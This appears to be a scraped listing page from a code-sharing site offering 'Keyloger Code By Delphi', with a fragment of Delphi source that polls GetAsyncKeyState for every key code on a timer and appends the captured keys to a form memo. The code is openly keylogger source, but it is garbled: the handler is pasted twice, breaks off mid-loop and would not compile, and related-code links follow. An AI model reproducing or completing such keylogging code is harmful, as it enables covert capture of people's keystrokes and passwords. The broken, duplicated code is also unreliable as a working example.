Keyloger Code By Delphi
2016-08-23
0 0 0
no vote
Other
Earn points
procedure Send(x : string);
begin
form1.Memo1.Lines.Add(x)
end;
procedure TForm1.Timer1Timer(Sender: TObject);
//begin
//if GetAsyncKeyState(Ord('A'))= -32767 then send('A');
//if GetAsyncKeyState(Ord('B'))= -32767 then send('B');
var X,y:integer;
f:char ;
str:string;
begin
For X:=0 to 255 do
begin
form1.Memo1.Lines.Add(x)
end;
procedure TForm1.Timer1Timer(Sender: TObject);
//begin
//if GetAsyncKeyState(Ord('A'))= -32767 then send('A');
//if GetAsyncKeyState(Ord('B'))= -32767 then send('B');
var X,y:integer;
f:char ;
str:string;
begin
For X:=0 to 255 do
delphi
代码
通过
DelphiKeyloger
Related Source Codes
MY Function Library
0
0
no vote
DELPHI calls the voice synthesis provided by windo
0
0
no vote
Compare binary file
0
0
no vote
Delphi 7
0
0
no vote
SQL database table structure merge tool
0
0
no vote
No comment